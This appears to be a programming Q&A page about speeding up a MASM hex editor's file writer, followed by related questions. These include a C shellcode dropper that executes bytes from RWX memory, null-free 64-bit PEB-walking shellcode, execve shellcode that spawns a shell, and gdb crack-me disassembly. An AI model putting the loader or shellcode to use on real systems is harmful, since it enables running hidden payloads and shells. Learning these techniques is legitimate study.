masm assembly fastest way to write a binary file - winforms

I am trying to make a hexadecimal editor in masm assembly. I wrote some code for the writer part of the hexadecimal editor, but it is slow. I tried 2 different versions of the code. The first code loops through and checks what hexadecimal byte is in the text file like A9 and then writes the byte A9 to the output binary file. The second code does the same thing but writes the byte to a buffer and then writes the buffer to the binary file at the end, but for some reason when writing the code to a buffer every time it should write the byte 00 it writes nothing so my binary file has all of the 00 removed from it. Also for some reason both of the codes take exactly the same time to write the binary file. Here are both of the codes
data
local data
LOCAL hFile :DWORD
LOCAL flen :DWORD
LOCAL hMem$ :DWORD
LOCAL hFile2 :DWORD
LOCAL hBuf$ :DWORD
data
Buffer db 80 dup (0)
FileBuffer db 9000 dup (0)
FileBufferBytesWritten db 9000 dup (0)
Done db "Done",0
zerozero db 00h,0
zeroone db 01h,0
zerotwo db 02h,0
zerothree db 03h,0
zerofour db 04h,0
zerofive db 05h,0
zerosix db 06h,0
zeroseven db 07h,0
zeroeight db 08h,0
zeronine db 09h,0
zeroA db 0Ah,0
zeroB db 0Bh,0
zeroC db 0Ch,0
zeroD db 0Dh,0
zeroE db 0Eh,0
zeroF db 0Fh,0
onezero db 10h,0
oneone db 11h,0
onetwo db 12h,0
onethree db 13h,0
onefour db 14h,0
onefive db 15h,0
onesix db 16h,0
oneseven db 17h,0
oneeight db 18h,0
onenine db 19h,0
oneA db 1Ah,0
oneB db 1Bh,0
oneC db 1Ch,0
oneD db 1Dh,0
oneE db 1Eh,0
oneF db 1Fh,0
twozero db 20h,0
twoone db 21h,0
twotwo db 22h,0
twothree db 23h,0
twofour db 24h,0
twofive db 25h,0
twosix db 26h,0
twoseven db 27h,0
twoeight db 28h,0
twonine db 29h,0
twoA db 2Ah,0
twoB db 2Bh,0
twoC db 2Ch,0
twoD db 2Dh,0
twoE db 2Eh,0
twoF db 2Fh,0
threezero db 30h,0
threeone db 31h,0
threetwo db 32h,0
threethree db 33h,0
threefour db 34h,0
threefive db 35h,0
threesix db 36h,0
threeseven db 37h,0
threeeight db 38h,0
threenine db 39h,0
threeA db 3Ah,0
threeB db 3Bh,0
threeC db 3Ch,0
threeD db 3Dh,0
threeE db 3Eh,0
threeF db 3Fh,0
fourzero db 40h,0
fourone db 41h,0
fourtwo db 42h,0
fourthree db 43h,0
fourfour db 44h,0
fourfive db 45h,0
foursix db 46h,0
fourseven db 47h,0
foureight db 48h,0
fournine db 49h,0
fourA db 4Ah,0
fourB db 4Bh,0
fourC db 4Ch,0
fourD db 4Dh,0
fourE db 4Eh,0
fourF db 4Fh,0
fivezero db 50h,0
fiveone db 51h,0
fivetwo db 52h,0
fivethree db 53h,0
fivefour db 54h,0
fivefive db 55h,0
fivesix db 56h,0
fiveseven db 57h,0
fiveeight db 58h,0
fivenine db 59h,0
fiveA db 5Ah,0
fiveB db 5Bh,0
fiveC db 5Ch,0
fiveD db 5Dh,0
fiveE db 5Eh,0
fiveF db 5Fh,0
sixzero db 60h,0
sixone db 61h,0
sixtwo db 62h,0
sixthree db 63h,0
sixfour db 64h,0
sixfive db 65h,0
sixsix db 66h,0
sixseven db 67h,0
sixeight db 68h,0
sixnine db 69h,0
sixA db 6Ah,0
sixB db 6Bh,0
sixC db 6Ch,0
sixD db 6Dh,0
sixE db 6Eh,0
sixF db 6Fh,0
sevenzero db 70h,0
sevenone db 71h,0
seventwo db 72h,0
seventhree db 73h,0
sevenfour db 74h,0
sevenfive db 75h,0
sevensix db 76h,0
sevenseven db 77h,0
seveneight db 78h,0
sevennine db 79h,0
sevenA db 7Ah,0
sevenB db 7Bh,0
sevenC db 7Ch,0
sevenD db 7Dh,0
sevenE db 7Eh,0
sevenF db 7Fh,0
eightzero db 80h,0
eightone db 81h,0
eighttwo db 82h,0
eightthree db 83h,0
eightfour db 84h,0
eightfive db 85h,0
eightsix db 86h,0
eightseven db 87h,0
eighteight db 88h,0
eightnine db 89h,0
eightA db 8Ah,0
eightB db 8Bh,0
eightC db 8Ch,0
eightD db 8Dh,0
eightE db 8Eh,0
eightF db 8Fh,0
ninezero db 90h,0
nineone db 91h,0
ninetwo db 92h,0
ninethree db 93h,0
ninefour db 94h,0
ninefive db 95h,0
ninesix db 96h,0
nineseven db 97h,0
nineeight db 98h,0
ninenine db 99h,0
nineA db 9Ah,0
nineB db 9Bh,0
nineC db 9Ch,0
nineD db 9Dh,0
nineE db 9Eh,0
nineF db 9Fh,0
Azero db 0A0h,0
Aone db 0A1h,0
Atwo db 0A2h,0
Athree db 0A3h,0
Afour db 0A4h,0
Afive db 0A5h,0
Asix db 0A6h,0
Aseven db 0A7h,0
Aeight db 0A8h,0
Anine db 0A9h,0
AA db 0AAh,0
AB db 0ABh,0
AC db 0ACh,0
AD db 0ADh,0
AE db 0AEh,0
AF db 0AFh,0
Bzero db 0B0h,0
Bone db 0B1h,0
Btwo db 0B2h,0
Bthree db 0B3h,0
Bfour db 0B4h,0
Bfive db 0B5h,0
Bsix db 0B6h,0
Bseven db 0B7h,0
Beight db 0B8h,0
Bnine db 0B9h,0
BA db 0BAh,0
BB db 0BBh,0
BC db 0BCh,0
BD db 0BDh,0
BE db 0BEh,0
BF db 0BFh,0
Czero db 0C0h,0
Cone db 0C1h,0
Ctwo db 0C2h,0
Cthree db 0C3h,0
Cfour db 0C4h,0
Cfive db 0C5h,0
Csix db 0C6h,0
Cseven db 0C7h,0
Ceight db 0C8h,0
Cnine db 0C9h,0
CA db 0CAh,0
CB db 0CBh,0
CC db 0CCh,0
CD db 0CDh,0
CE db 0CEh,0
CF db 0CFh,0
Dzero db 0D0h,0
Deeone db 0D1h,0
Dtwo db 0D2h,0
Dthree db 0D3h,0
Dfour db 0D4h,0
Dfive db 0D5h,0
Dsix db 0D6h,0
Dseven db 0D7h,0
Deight db 0D8h,0
Dnine db 0D9h,0
DA db 0DAh,0
DeeB db 0DBh,0
DC db 0DCh,0
DeeD db 0DDh,0
DE db 0DEh,0
DeeF db 0DFh,0
Ezero db 0E0h,0
Eone db 0E1h,0
Etwo db 0E2h,0
Ethree db 0E3h,0
Efour db 0E4h,0
Efive db 0E5h,0
Esix db 0E6h,0
Eseven db 0E7h,0
Eeight db 0E8h,0
Enine db 0E9h,0
EA db 0EAh,0
EB db 0EBh,0
EC db 0ECh,0
ED db 0EDh,0
EE db 0EEh,0
EF db 0EFh,0
Fzero db 0F0h,0
Fone db 0F1h,0
Ftwo db 0F2h,0
Fthree db 0F3h,0
Ffour db 0F4h,0
Ffive db 0F5h,0
Fsix db 0F6h,0
Fseven db 0F7h,0
Feight db 0F8h,0
Fnine db 0F9h,0
FA db 0FAh,0
FB db 0FBh,0
FC db 0FCh,0
FD db 0FDh,0
FE db 0FFh,0
FF db 0FFh,0
.data ?
Bytes dd ?
BytesWritten dd ?
first code
writehexadecimal macro bytetext,byte
mov eax, cmp$(ADDR Buffer,bytetext)
.if eax == 0
invoke WriteFile,hFile2,addr byte,1,addr BytesWritten,NULL
.endif
EndM
invoke CreateFile, addr FilePathformatted, GENERIC_READ, 0, 0,OPEN_EXISTING, 0, 0
mov hFile, eax
invoke GetFileSize,hFile,NULL
mov edi,eax
invoke CreateFile,addr FilePath2,GENERIC_WRITE,FILE_SHARE_WRITE,
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile2, eax
xor esi,esi
writebinary:
invoke ReadFile, hFile, ADDR Buffer,2, addr BytesWritten, 0
writehexadecimal "00",zerozero
writehexadecimal "01",zeroone
writehexadecimal "02",zerotwo
writehexadecimal "03",zerothree
writehexadecimal "04",zerofour
writehexadecimal "05",zerofive
writehexadecimal "06",zerosix
writehexadecimal "07",zeroseven
writehexadecimal "08",zeroeight
writehexadecimal "09",zeronine
writehexadecimal "0A",zeroA
writehexadecimal "0B",zeroB
writehexadecimal "0C",zeroC
writehexadecimal "0D",zeroD
writehexadecimal "0E",zeroE
writehexadecimal "0F",zeroF
writehexadecimal "10",onezero
writehexadecimal "11",oneone
writehexadecimal "12",onetwo
writehexadecimal "13",onethree
writehexadecimal "14",onefour
writehexadecimal "15",onefive
writehexadecimal "16",onesix
writehexadecimal "17",oneseven
writehexadecimal "18",oneeight
writehexadecimal "19",onenine
writehexadecimal "1A",oneA
writehexadecimal "1B",oneB
writehexadecimal "1C",oneC
writehexadecimal "1D",oneD
writehexadecimal "1E",oneE
writehexadecimal "1F",oneF
writehexadecimal "20",twozero
writehexadecimal "21",twoone
writehexadecimal "22",twotwo
writehexadecimal "23",twothree
writehexadecimal "24",twofour
writehexadecimal "25",twofive
writehexadecimal "26",twosix
writehexadecimal "27",twoseven
writehexadecimal "28",twoeight
writehexadecimal "29",twonine
writehexadecimal "2A",twoA
writehexadecimal "2B",twoB
writehexadecimal "2C",twoC
writehexadecimal "2D",twoD
writehexadecimal "2E",twoE
writehexadecimal "2F",twoF
writehexadecimal "30",threezero
writehexadecimal "31",threeone
writehexadecimal "32",threetwo
writehexadecimal "33",threethree
writehexadecimal "34",threefour
writehexadecimal "35",threefive
writehexadecimal "36",threesix
writehexadecimal "37",threeseven
writehexadecimal "38",threeeight
writehexadecimal "39",threenine
writehexadecimal "3A",threeA
writehexadecimal "3B",threeB
writehexadecimal "3C",threeC
writehexadecimal "3D",threeD
writehexadecimal "3E",threeE
writehexadecimal "3F",threeF
writehexadecimal "40",fourzero
writehexadecimal "41",fourone
writehexadecimal "42",fourtwo
writehexadecimal "43",fourthree
writehexadecimal "44",fourfour
writehexadecimal "45",fourfive
writehexadecimal "46",foursix
writehexadecimal "47",fourseven
writehexadecimal "48",foureight
writehexadecimal "49",fournine
writehexadecimal "4A",fourA
writehexadecimal "4B",fourB
writehexadecimal "4C",fourC
writehexadecimal "4D",fourD
writehexadecimal "4E",fourE
writehexadecimal "4F",fourF
writehexadecimal "50",fivezero
writehexadecimal "51",fiveone
writehexadecimal "52",fivetwo
writehexadecimal "53",fivethree
writehexadecimal "54",fivefour
writehexadecimal "55",fivefive
writehexadecimal "56",fivesix
writehexadecimal "57",fiveseven
writehexadecimal "58",fiveeight
writehexadecimal "59",fivenine
writehexadecimal "5A",fiveA
writehexadecimal "5B",fiveB
writehexadecimal "5C",fiveC
writehexadecimal "5D",fiveD
writehexadecimal "5E",fiveE
writehexadecimal "5F",fiveF
writehexadecimal "60",sixzero
writehexadecimal "61",sixone
writehexadecimal "62",sixtwo
writehexadecimal "63",sixthree
writehexadecimal "64",sixfour
writehexadecimal "65",sixfive
writehexadecimal "66",sixsix
writehexadecimal "67",sixseven
writehexadecimal "68",sixeight
writehexadecimal "69",sixnine
writehexadecimal "6A",sixA
writehexadecimal "6B",sixB
writehexadecimal "6C",sixC
writehexadecimal "6D",sixD
writehexadecimal "6E",sixE
writehexadecimal "6F",sixF
writehexadecimal "70",sevenzero
writehexadecimal "71",sevenone
writehexadecimal "72",seventwo
writehexadecimal "73",seventhree
writehexadecimal "74",sevenfour
writehexadecimal "75",sevenfive
writehexadecimal "76",sevensix
writehexadecimal "77",sevenseven
writehexadecimal "78",seveneight
writehexadecimal "79",sevennine
writehexadecimal "7A",sevenA
writehexadecimal "7B",sevenB
writehexadecimal "7C",sevenC
writehexadecimal "7D",sevenD
writehexadecimal "7E",sevenE
writehexadecimal "7F",sevenF
writehexadecimal "80",eightzero
writehexadecimal "81",eightone
writehexadecimal "82",eighttwo
writehexadecimal "83",eightthree
writehexadecimal "84",eightfour
writehexadecimal "85",eightfive
writehexadecimal "86",eightsix
writehexadecimal "87",eightseven
writehexadecimal "88",eighteight
writehexadecimal "89",eightnine
writehexadecimal "8A",eightA
writehexadecimal "8B",eightB
writehexadecimal "8C",eightC
writehexadecimal "8D",eightD
writehexadecimal "8E",eightE
writehexadecimal "8F",eightF
writehexadecimal "90",ninezero
writehexadecimal "91",nineone
writehexadecimal "92",ninetwo
writehexadecimal "93",ninethree
writehexadecimal "94",ninefour
writehexadecimal "95",ninefive
writehexadecimal "96",ninesix
writehexadecimal "97",nineseven
writehexadecimal "98",nineeight
writehexadecimal "99",ninenine
writehexadecimal "9A",nineA
writehexadecimal "9B",nineB
writehexadecimal "9C",nineC
writehexadecimal "9D",nineD
writehexadecimal "9E",nineE
writehexadecimal "9F",nineF
writehexadecimal "A0",Azero
writehexadecimal "A1",Aone
writehexadecimal "A2",Atwo
writehexadecimal "A3",Athree
writehexadecimal "A4",Afour
writehexadecimal "A5",Afive
writehexadecimal "A6",Asix
writehexadecimal "A7",Aseven
writehexadecimal "A8",Aeight
writehexadecimal "A9",Anine
writehexadecimal "AA",AA
writehexadecimal "AB",AB
writehexadecimal "AC",AC
writehexadecimal "AD",AD
writehexadecimal "AE",AE
writehexadecimal "AF",AF
writehexadecimal "B0",Bzero
writehexadecimal "B1",Bone
writehexadecimal "B2",Btwo
writehexadecimal "B3",Bthree
writehexadecimal "B4",Bfour
writehexadecimal "B5",Bfive
writehexadecimal "B6",Bsix
writehexadecimal "B7",Bseven
writehexadecimal "B8",Beight
writehexadecimal "B9",Bnine
writehexadecimal "BA",BA
writehexadecimal "BB",BB
writehexadecimal "BC",BC
writehexadecimal "BD",BD
writehexadecimal "BE",BE
writehexadecimal "BF",BF
writehexadecimal "C0",Czero
writehexadecimal "C1",Cone
writehexadecimal "C2",Ctwo
writehexadecimal "C3",Cthree
writehexadecimal "C4",Cfour
writehexadecimal "C5",Cfive
writehexadecimal "C6",Csix
writehexadecimal "C7",Cseven
writehexadecimal "C8",Ceight
writehexadecimal "C9",Cnine
writehexadecimal "CA",CA
writehexadecimal "CB",CB
writehexadecimal "CC",CC
writehexadecimal "CD",CD
writehexadecimal "CE",CE
writehexadecimal "CF",CF
writehexadecimal "D0",Dzero
writehexadecimal "D1",Done
writehexadecimal "D2",Dtwo
writehexadecimal "D3",Dthree
writehexadecimal "D4",Dfour
writehexadecimal "D5",Dfive
writehexadecimal "D6",Dsix
writehexadecimal "D7",Dseven
writehexadecimal "D8",Deight
writehexadecimal "D9",Dnine
writehexadecimal "DA",DA
writehexadecimal "DB",DeeB
writehexadecimal "DC",DC
writehexadecimal "DD",DeeD
writehexadecimal "DE",DE
writehexadecimal "DF",DeeF
writehexadecimal "E0",Ezero
writehexadecimal "E1",Eone
writehexadecimal "E2",Etwo
writehexadecimal "E3",Ethree
writehexadecimal "E4",Efour
writehexadecimal "E5",Efive
writehexadecimal "E6",Esix
writehexadecimal "E7",Eseven
writehexadecimal "E8",Eeight
writehexadecimal "E9",Enine
writehexadecimal "EA",EA
writehexadecimal "EB",EB
writehexadecimal "EC",EC
writehexadecimal "ED",ED
writehexadecimal "EE",EE
writehexadecimal "EF",EF
writehexadecimal "F0",Fzero
writehexadecimal "F1",Fone
writehexadecimal "F2",Ftwo
writehexadecimal "F3",Fthree
writehexadecimal "F4",Ffour
writehexadecimal "F5",Ffive
writehexadecimal "F6",Fsix
writehexadecimal "F7",Fseven
writehexadecimal "F8",Feight
writehexadecimal "F9",Fnine
writehexadecimal "FA",FA
writehexadecimal "FB",FB
writehexadecimal "FC",FC
writehexadecimal "FD",FD
writehexadecimal "FE",FE
writehexadecimal "FF",FF
sub edi,2
.if edi == 0
invoke CloseHandle,hFile
invoke CloseHandle,hFile2
invoke MessageBox, NULL, addr Done, offset BoxCaption, NULL
ret
.endif
jmp writebinary
second code
writehexadecimal macro bytetext,byte
mov eax, cmp$(ADDR Buffer,bytetext)
.if eax == 0
invoke lstrcat,addr FileBuffer,addr byte
inc esi
.endif
EndM
invoke CreateFile, addr FilePathformatted, GENERIC_READ, 0, 0,OPEN_EXISTING, 0, 0
mov hFile, eax
invoke GetFileSize,hFile,NULL
mov edi,eax
invoke CreateFile,addr FilePath2,GENERIC_WRITE,FILE_SHARE_WRITE, NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile2, eax
xor esi,esi
writebinary:
invoke ReadFile, hFile, ADDR Buffer,2, addr BytesWritten, 0
same writehexadecimal list as the first code. stack overflow said I hit the character limit so I don't need to write that list again
sub edi,2
.if esi == 9000
invoke WriteFile,hFile2,addr FileBuffer,sizeof FileBuffer,addr BytesWritten,NULL
.endif
.if edi == 0
invoke WriteFile,hFile2,addr FileBuffer,esi,addr FileBufferBytesWritten,NULL
invoke CloseHandle,hFile
invoke CloseHandle,hFile2
invoke MessageBox, NULL, addr Done, offset BoxCaption, NULL
ret
.endif
jmp writebinary
so my question is can anyone help me make this code faster so it is kind of instant instead of taking 5 minutes to write a binary file that is 1mb size.
thank you

Don't use lstrcat to add data to your FileBuffer (you shouldn't use lstrcat period, as it is unsafe). Each time you concatenate one byte, it will have to calculate the current length of the string (FileBuffer) that you're appending to, which will take longer and longer as the string grows. Doing this also has the side-effect that a byte with the value 0 won't be appended, since 0 is the string terminator (i.e. lstrcat will think that you're trying to append an empty string).
A much better approach would be to simply keep a pointer that holds the address of the first free byte in the buffer, and each time you want to concatenate a byte you write it to that address and then increment the pointer. Something like this:
.data?
bufferPtr dd ?
; (other data follows)
.code
mov bufferPtr,OFFSET FileBuffer
; (other code follows)
mov ebx,bufferPtr
mov [ebx],al ; store one byte in the buffer
inc ebx ; point to the next byte in the buffer
mov bufferPtr,ebx
You could try to keep the pointer in a register at all times if you know that you've got a register that won't be changed by any other part of the code. But to begin with, something like the above should suffice.
Also, calling ReadFile for every 2 bytes in the input file is a bit wasteful. Read a big chunk of data (the whole file if possible) into a buffer and then grab 2-byte chunks from that buffer.
And there's absolutely no reason for having 256 different variables just for storing the values 00h..FFh, or having 256 different calls to writehexadecimal. Make writehexadecimal a procedure and call it from a loop that iterates from 00h to FFh. You'll save hundreds of lines of code (and a lot of typing on your part).

Related

Cannot execute 64-bit shellcode but 32-bit works fine

I am able to take a reverse shell program in assembly, compile it using ld or link (visual studio), use objdump, get the shellcode, (yes it has no null-bytes), and I am able to use this in a dropper, a simple call to it works fine such as
#include <stdio.h
#include <windows.h>
int main() {
char *shellcode = "myshellcodegoesinhere";
printf("shellcode length: %i", strlen(shellcode));
void * lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, strlen(shellcode));
((void(*)())lpAlloc)();
return 0;
}
However, when it comes to 64-bits, I am able to execute my programs as an exe successfully but not in a dropper like above. I literally wrote a 64-bit reverse shell in windows and it works perfectly (havent found another one online that actually works) but when I convert it to shellcode, it doesn't work in my above dropper. And yes I removed all the null bytes from it, it was quite a challenge. So then I decided to see if another simple program would behave the same way and sure enough it does. I took a simple swap mouse button program and rewrote it to remove the null bytes out of it, runs perfectly from an exe but not in a dropper. I know that my 32-bit reverse shell works in a 64-bit system. That is not the point here. The point is any 64-bit application is not able to be used as shellcode on a 64-bit machine. Here is the swap mouse button program in assembly.
BITS 64
SECTION .text
global _start
_start:
sub RSP, 0x28 ; 40 bytes of shadow space
and RSP, 0FFFFFFFFFFFFFFF0h ; Align the stack to a multiple of 16 bytes
; Parse PEB and find kernel32
xor rcx, rcx ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = PEB->Ldr.InMemOrder
lodsq ; RAX = Second module
xchg rax, rsi ; RAX = RSI, RSI = RAX
lodsq ; RAX = Third(kernel32)
mov rbx, [rax + 0x20] ; RBX = Base address
; Parse kernel32 PE
xor r8, r8 ; Clear r8
mov r8d, [rbx + 0x3c] ; R8D = DOS->e_lfanew offset
mov rdx, r8 ; RDX = DOS->e_lfanew
add rdx, rbx ; RDX = PE Header
; start a loop to inc edx 0x88 times to reach the export directory
xor rcx, rcx
xor rax, rax
mov al, 0x88 ; 136 bytes is needed to add to edx to reach the export directory
inc_edx:
inc byte edx
dec al
cmp al, cl
jne inc_edx
mov r8d, [edx] ; R8D = Offset export table
add r8, rbx ; R8 = Export table
xor rsi, rsi ; Clear RSI
mov esi, [r8 + 0x20] ; RSI = Offset namestable
add rsi, rbx ; RSI = Names table
xor rcx, rcx ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA
; Loop through exported functions and find GetProcAddress
Get_Function:
inc rcx ; Increment the ordinal
xor rax, rax ; RAX = 0
mov eax, [rsi + rcx * 4] ; Get name offset
add rax, rbx ; Get function name
cmp QWORD [rax], r9 ; GetProcA ?
jnz Get_Function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x24] ; ESI = Offset ordinals
add rsi, rbx ; RSI = Ordinals table
mov cx, [rsi + rcx * 2] ; Number of function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x1c] ; Offset address table
add rsi, rbx ; ESI = Address table
xor rdx, rdx ; RDX = 0
mov edx, [rsi + rcx * 4] ; EDX = Pointer(offset)
add rdx, rbx ; RDX = GetProcAddress
mov rdi, rdx ; Save GetProcAddress in RDI
; Use GetProcAddress to find the address of LoadLibrary
mov rcx, 0x41797261 ; aryA
push rcx ; Push on the stack
mov rcx, 0x7262694c64616f4c ; LoadLibr
push rcx ; Push on stack
mov rdx, rsp ; LoadLibraryA
mov rcx, rbx ; kernel32.dll base address
sub rsp, 0x20 ; Allocate stack space for function call
call rdi ; Call GetProcAddress
mov rsi, rax ; LoadLibrary saved in RSI
xor rcx, rcx
push dword 0x41416c6c ; ll
;push dword rcx ; Push on the stack
sub word [rsp + 0x2], 0x4141
mov rcx, 0x642e323372657375 ; user32.d
push rcx ; Push on stack
mov rcx, rsp ; user32.dll
sub rsp, 0x20 ; Allocate stack space for function call
call rsi ; Call LoadLibraryA
mov r15, rax ; Base address of user32.dll in R15
; Call GetProcAddress(user32.dll, "SwapMouseButton")
mov rcx, 0x416e6f7474754265 ; eButton
push rcx ; Push on the stack
sub byte [rsp + 0x7], 0x41
mov rcx, 0x73756f4d70617753 ; SwapMous
push rcx ; Push on stack
mov rdx, rsp ; SwapMouseButton
mov rcx, r15 ; User32.dll base address
sub rsp, 0x20 ; Allocate stack space for function call
call rdi ; Call GetProcAddress
mov r15, rax ; SwapMouseButton in R15
; Call SwapMouseButton(true)
xor rcx, rcx ; true
inc cl
call r15 ; SwapMouseButton(true)
; Call GetProcAddress(kernel32.dll, "ExitProcess")
xor rcx, rcx ; RCX = 0
push dword 0x41737365 ; ess
sub byte [rsp + 0x3], 0x41
push rcx ; Push on the stack
mov rcx, 0x636f725074697845 ; ExitProc
push rcx ; Push on stack
mov rdx, rsp ; ExitProcess
mov rcx, rbx ; Kernel32.dll base address
sub rsp, 0x20 ; Allocate stack space for function call
call rdi ; Call GetProcAddress
; Call ExitProcess(0)
xor rcx, rcx ; Exit code 0
call rax ; ExitProcess(0)
Save this as sw64.s
link.exe (visual studio x64 native tools command prompt)
I have two linkers I use that work just fine. both link and Golink.exe
nasm -f win64 sw64.s && link sw64.obj /SUBSYSTEM:CONSOLE /OUT:sw64.exe /LARGEADDRESSAWARE:NO /ENTRY:_start && sw64.exe
or using Golink.exe
nasm -f win64 sw64.s && c:\Golink\GoLink.exe /console /entry _start sw64.obj /fo sw64.exe && sw64.exe
I then convert the shellcode using objdump and filter with awk and sed to produce \x??\x?? output and use this in my dropper. I've done it for my 32-bit reverse shell and it works like a charm but not for 64-bit. I would like to understand why this isn't working. Thank you.
converting 64-bit to shellcode does not work, but 32-bit does

How to retrieve arguments of a function in gdb?

I wrote a simple crack-me program. You see the assembly code of a function named check inside this program:
(gdb) disassemble check
Dump of assembler code for function check:
0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x28
0x0804848a <+6>: mov DWORD PTR [ebp-0x8],0x0
0x08048491 <+13>: mov DWORD PTR [ebp-0xc],0x0
0x08048498 <+20>: mov eax,DWORD PTR [ebp+0x8]
0x0804849b <+23>: mov DWORD PTR [esp],eax
0x0804849e <+26>: call 0x8048384 <strlen#plt> <<<<<< Here!
0x080484a3 <+31>: cmp DWORD PTR [ebp-0xc],eax
0x080484a6 <+34>: jae 0x80484fb <check+119>
0x080484a8 <+36>: mov eax,DWORD PTR [ebp-0xc]
0x080484ab <+39>: add eax,DWORD PTR [ebp+0x8]
0x080484ae <+42>: movzx eax,BYTE PTR [eax]
0x080484b1 <+45>: mov BYTE PTR [ebp-0xd],al
0x080484b4 <+48>: lea eax,[ebp-0x4]
0x080484b7 <+51>: mov DWORD PTR [esp+0x8],eax
0x080484bb <+55>: mov DWORD PTR [esp+0x4],0x8048638
0x080484c3 <+63>: lea eax,[ebp-0xd]
0x080484c6 <+66>: mov DWORD PTR [esp],eax
0x080484c9 <+69>: call 0x80483a4 <sscanf#plt>
0x080484ce <+74>: mov edx,DWORD PTR [ebp-0x4]
0x080484d1 <+77>: lea eax,[ebp-0x8]
0x080484d4 <+80>: add DWORD PTR [eax],edx
0x080484d6 <+82>: cmp DWORD PTR [ebp-0x8],0xf
0x080484da <+86>: jne 0x80484f4 <check+112>
0x080484dc <+88>: mov DWORD PTR [esp],0x804863b
0x080484e3 <+95>: call 0x8048394 <printf#plt>
0x080484e8 <+100>: mov DWORD PTR [esp],0x0
0x080484ef <+107>: call 0x80483b4 <exit#plt>
0x080484f4 <+112>: lea eax,[ebp-0xc]
0x080484f7 <+115>: inc DWORD PTR [eax]
0x080484f9 <+117>: jmp 0x8048498 <check+20>
0x080484fb <+119>: mov DWORD PTR [esp],0x8048649
0x08048502 <+126>: call 0x8048394 <printf#plt>
0x08048507 <+131>: leave
0x08048508 <+132>: ret
As you see above, inside the check function, there is a function call to strlen. The question is how can I see the string that is passed to strlen()?

execve x86 - Segmentation Fault

I keep getting segmentation faults on this could anybody help me on this one, I am kind of new to ASM
global _start
section .text
_start:
push dword 0x0068732F ; Push /sh
push dword 0x6E69622F ; Push /bin
mov eax, esp ; Store Pointer To /bin/sh In EAX
push dword 0x0000632D ; Push -c
mov ebx, esp ; Store Pointer To -c In EBX
push dword 0x00000068 ; Push h
push dword 0x7361622F ; Push /bas
push dword 0x6E69622F ; Push /bin
mov ecx, esp ; Store Pointer To /bin/bash In ECX
push dword 0x0 ; NULL
push ecx ; Push /bin/bash Pointer
push ebx ; Push -c Pointer
push eax ; Push /bin/sh Pointer
mov ebx, eax ; Move /bin/sh Pointer To EAX
mov ecx, esp ; Store /bin/sh -c /bin/bash Pointer in ECX
xor edx, edx ; Store 0 In EDX
mov al, 0xb ; sys_execve
int 0x80 ; system call
I am trying to replicate the following
char* Args[] = { "/bin/sh", "-c", "/bin/bash" };
execve("/bin/sh", Args, NULL)
Thanks in advance
As pointed out in the comments the arguments need to be NULL terminated.
Also mov al, 0xb only sets the lower 8 bits of the (32 bit) eax register.
Earlier on you also loaded an address from the stack into eax mov eax, esp and since the stack grows down, the value stored in eax will be much closer to 0xFFFFFFFF that it is to 0. When you later mov al, 0xb you only substitute the last F and eax needs to be exactly 0xb.
Thus you need to either move the value to whole eax register or make sure its upper 24 bits are zeroed beforehand - for example by doing xor eax, eax.
global _start
section .text
_start:
push dword 0x0068732F ; Push /sh
push dword 0x6E69622F ; Push /bin
mov eax, esp ; Store Pointer To /bin/sh In EAX
push dword 0x0000632D ; Push -c
mov ebx, esp ; Store Pointer To -c In EBX
push dword 0x00000068 ; Push h
push dword 0x7361622F ; Push /bas
push dword 0x6E69622F ; Push /bin
mov ecx, esp ; Store Pointer To /bin/bash In ECX
push 0 ; <----- NULL args terminator
push ecx ; Push /bin/bash Pointer
push ebx ; Push -c Pointer
push eax ; Push /bin/sh Pointer
mov ebx, eax ; Move /bin/sh Pointer To EAX
mov ecx, esp ; Store /bin/sh -c /bin/bash Pointer in ECX
xor edx, edx ; Store 0 In EDX
;xor eax, eax ; <----- either xor eax, eax or mov into eax
mov eax, 11 ; sys_execve
int 0x80 ; system call

Why does function's argument get written to main stack frame and not function stack frame?

So I have this piece of C code disassembled in gdb:
0x08048474 <main+0>: push ebp
0x08048475 <main+1>: mov ebp,esp
0x08048477 <main+3>: sub esp,0x8
0x0804847a <main+6>: and esp,0xfffffff0
0x0804847d <main+9>: mov eax,0x0
0x08048482 <main+14>: sub esp,eax
0x08048484 <main+16>: cmp DWORD PTR [ebp+8],0x1
0x08048488 <main+20>: jg 0x80484ab <main+55>
0x0804848a <main+22>: mov eax,DWORD PTR [ebp+12]
0x0804848d <main+25>: mov eax,DWORD PTR [eax]
0x0804848f <main+27>: mov DWORD PTR [esp+4],eax
0x08048493 <main+31>: mov DWORD PTR [esp],0x80485e5
0x0804849a <main+38>: call 0x804831c <printf#plt>
0x0804849f <main+43>: mov DWORD PTR [esp],0x0
0x080484a6 <main+50>: call 0x804833c <exit#plt>
0x080484ab <main+55>: mov eax,DWORD PTR [ebp+12]
0x080484ae <main+58>: add eax,0x4
0x080484b1 <main+61>: mov eax,DWORD PTR [eax]
0x080484b3 <main+63>: mov DWORD PTR [esp],eax
0x080484b6 <main+66>: call 0x8048414 <check_authentication>
0x080484bb <main+71>: test eax,eax
0x080484bd <main+73>: je 0x80484e5 <main+113>
0x080484bf <main+75>: mov DWORD PTR [esp],0x80485fb
0x080484c6 <main+82>: call 0x804831c <printf#plt>
0x080484cb <main+87>: mov DWORD PTR [esp],0x8048619
0x080484d2 <main+94>: call 0x804831c <printf#plt>
0x080484d7 <main+99>: mov DWORD PTR [esp],0x8048630
0x080484de <main+106>: call 0x804831c <printf#plt>
0x080484e3 <main+111>: jmp 0x80484f1 <main+125>
0x080484e5 <main+113>: mov DWORD PTR [esp],0x804864d
0x080484ec <main+120>: call 0x804831c <printf#plt>
0x080484f1 <main+125>: leave
0x080484f2 <main+126>: ret
End of assembler dump.
My main question revolves around these lines:
0x080484b3 <main+63>: mov DWORD PTR [esp],eax
0x080484b6 <main+66>: call 0x8048414 <check_authentication>
